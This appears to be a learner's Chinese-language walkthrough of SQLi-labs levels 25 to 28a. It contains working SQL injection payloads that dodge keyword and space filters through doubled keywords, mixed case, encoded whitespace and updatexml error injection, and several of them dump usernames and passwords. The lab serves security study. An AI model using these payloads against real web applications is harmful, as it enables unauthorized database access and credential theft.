Less-25
有关双写绕过的注入,
很明显,or,and,被过滤了。
首先正常输入,?id=1'
报错了,发现为注入点。
这里要了解一个双写绕过注入:**or改成oorr,and改成anandd **
思路:要先判断是一次性绕过还是非一次性过滤,如果是一次性就用双写绕过,如果是非一次性考虑其它变形。
eg:大小写变形绕过OR=oR=Or=or
利用运算符or=|| ,and=&&
URL编码绕过:#=%23
Hex编码:~=0x7e
添加注释:/or/还有其他等等。
所以使用联合查询注入:?id=-1' union select 1,2,group_concat(username,passwoorrd)from users--+
还能使用报错注入,这里使用&&会报错。(原因??)?id=-1' || updatexml(1,concat(0x7c,database()),1)--+
布尔盲注等等。。。
Less-25a
查看源码,sql语句为数字型注入,与第二关一样类型,再用和25关一样即可。
但是不能用报错注入,被注释了。
Less-26
首先判断注入点,为?id=1’再查看源代码,这里过滤掉了很多东西。
过滤了# or and 多行单行注释 斜杠 空格 反斜杠。
所以就要找其他的来代替空格注释???
空格URL编码替代方法:%a0(空格),%0a(新建一行),%0b(TAB垂直),%0c(新的一页),%0d(return功能),%09(TAB水平)
尝试了联合注入,不知道为什么一直不行,尝试报错注入就可以。???
爆表?id=0'||updatexml(1,concat(0x7c,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),0)||'1'='1
这里用updatexml可以省去空格过滤得烦恼。记得加0x7c,不然有一个表会被吃掉
这里还通过加()方式省去了打空格。减少错误的发生
爆用户名和密码?id=0'||updatexml(1,concat(0x7c,(select(group_concat(username,passwoorrd))from(users))),0)||'1'='1
这里如果把||改成anandd也不行.?对于报错原理还是不太行。
PHP版本问题
因为版本问题,我输入的URL编码代替空格都会出现错误。这里把PHP版本换成5.2.17比较旧的版本。
就可以使用联合查询注入了,哈哈哈研究半天。。。不过也只有%0b、%a0可以用。
Less-26a
换成’)即可,记得后面条件闭合语句也要改成(‘1’)=(‘1来进行闭合。
列举一个:?id=')union%0bselect%0b1,group_concat(username,passwoorrd),3%0bfrom%0busers%0bwhere%0b('9')=('9
还有这里输入?id=-1没有正确回显,让id=null(空值)如:?id=-100也可以。借此还可以查有几个用户,或者0才有正确回显,但是为什么?
Less-27
从题目知道union、select被过滤了
查看源码:在26关基础上多过滤了union和select但是and,or这次没被过滤了。
尝试注入点:?id=1’报错,为单引号闭合型。
这边order by语句一直报错?回看23关有解释。
直接查注入点
?id=-100'UnION%0bSElEct%0b1,2,3%0b||'1'='1
成功,还是要在字段2进行注入。字段一已经被1代替。
查数据库
?id=-100'UnION%0bSElEct%0b1,database(),3%0b||'1'='1
直接查用户名和密码
?id=-100'UnION%0bSElEct%0b1,group_concat(username,'-',password),3%0bfrom%0busers%0bwhere%0b'1'='1
使用第23关类似,直接用3闭合,也是可以的,更好。?id=-15'%0bUnIoN%0bsElEct%0b1,(sElEct%0bgroup_concat(concat(username,password))from%0busers),'3
这里强调一下:记得用函数group_concat,它能够让返回的数据在一行,如果没用,会出现长度过长,数据爆不出来。
Less-27a
改成双引号即可。
Less-28、28a
改成’)闭合就行,不过这里的?id=null跟26一样。
举个例子把:?id=-15')UniOn%0b%0bSelEct%0b1,group_concat(username,password),3%0bfrom%0busers%0bwhere('1')=('1
还有简便方法:?id=-15')%0BuNiOn%0BsElEct%0B1,(sEleCT%0bgroup_concat(username,password)from%0busers),('3